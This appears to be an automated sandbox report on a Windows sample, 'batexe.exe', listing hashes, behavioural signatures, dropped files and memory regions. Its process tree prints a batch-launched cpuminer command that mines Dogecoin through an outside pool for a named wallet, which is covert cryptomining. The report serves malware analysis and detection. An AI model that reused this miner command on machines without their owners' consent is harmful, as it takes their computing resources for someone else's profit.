Analysis

  • max time kernel
    294s
  • max time network
    300s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    22/02/2024, 02:32

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1428
    • C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1288
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\614A.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:748
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:648

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe

    Filesize

    14.3MB

    MD5

    e5d47dbc8176bb2c77b8b8c0e7f9094d

    SHA1

    3c19b9eec1fdd9f0854e89dd985a059cb3262027

    SHA256

    07f501b652240b17e812c27e0ac9599c6b0b1ed4b6fe5051e2b1a684f1f27271

    SHA512

    12728978ebad0279c96de0e71d5039b04ce747eaf13ec9e6a700e974d8bf7b6faa070e2eb56d861a7ffce218cb22c21509508fd8a5eeb82868310fb725793d8e

  • C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe

    Filesize

    9.2MB

    MD5

    75e982563b157b2caa11693827727e9a

    SHA1

    201923116665af63b62d1f93a71730d7efe7aa24

    SHA256

    f0a2f76fec63de6c3784caf27c6d94e1f3278382762afdf4163d889df4afa912

    SHA512

    bed6fa6d8e3a0215843857137baeea2ef7600064ecc052f0f1b5f9da5228804389967ac2faa22249032b22e406772d57882f9dfe4ccef0ad1efc995f36cffcc6

  • C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe

    Filesize

    5.9MB

    MD5

    6ac1f04315d8d0fb1529a65fb492aa74

    SHA1

    9591903f439d753d5f0614a32d28c84eda3f09a4

    SHA256

    741733f28f7b6cf8cd2f4f64b4ee84dcee218e3390ba19bc9d19c3b094928d9f

    SHA512

    3237b29943a27923decafbfd32d3a9f1f46e70feffcf60f8cf5c5a8b5853de14c0e89bac2e98d7f045167875043a7f44dfcba394227918ab7b8e914d6111462b

  • C:\Users\Admin\AppData\Local\Temp\614A.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    4.5MB

    MD5

    50887092389efb9ab86d9df2342d23b4

    SHA1

    017353a39166ae5c456214f2ad813edeb7d998c9

    SHA256

    1301f7ec416700a8a80ff6095a46aeb7b9478657e0c75958ca53e0ba4132b325

    SHA512

    41af0016c89bb02abf1af8406cfb1cf0cea422813c668854c697b26a66431efb44350c4e0b37b0027999dc8a81a4d7ba4055bd741e265a7c8ee65d7776eb63d1

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    4.6MB

    MD5

    00da154b83d45ed3cc528f4a73bc7cf7

    SHA1

    171701867c8c4bf6ad4648e893ef34464a69ccdb

    SHA256

    75ac2c9a6286148c2d03fe31bdb7adea424124d188127a2c797e7fa21ca3c97a

    SHA512

    d5dbbfeaac268baaeb89139a9a14f5470c34e085d40bad6fd5fc3bb88182acc98f068160fac8377c5f1900cdda5623e04cc3bc4e547931a20b26dfc8a44bd8cd

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    3.5MB

    MD5

    1cbf1a9f553296569ec669ccf7577a1c

    SHA1

    400791a22458ced3660850ea7b2672c64f2989b6

    SHA256

    14ccb92177f98cc578c5a9ebb4c8163227a0716b2ac5ec1f4a68c923d85b956b

    SHA512

    08774a6d37d4b3d6e1118c8bcc93fbd82bed7db9b6647821f46a391bdb181cb5e34bd6e45c84c661497b1a0295c6406429af4298548cf11c4b5fcee86f783ead

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/648-44-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/648-54-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/648-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/648-104-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/648-45-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/648-46-0x0000000073C10000-0x0000000073CA8000-memory.dmp

    Filesize

    608KB

  • memory/648-47-0x00000000010E0000-0x0000000002995000-memory.dmp

    Filesize

    24.7MB

  • memory/648-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/648-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/648-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/648-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/648-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/648-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/648-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/648-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/648-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1288-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/1288-7-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/1428-9-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB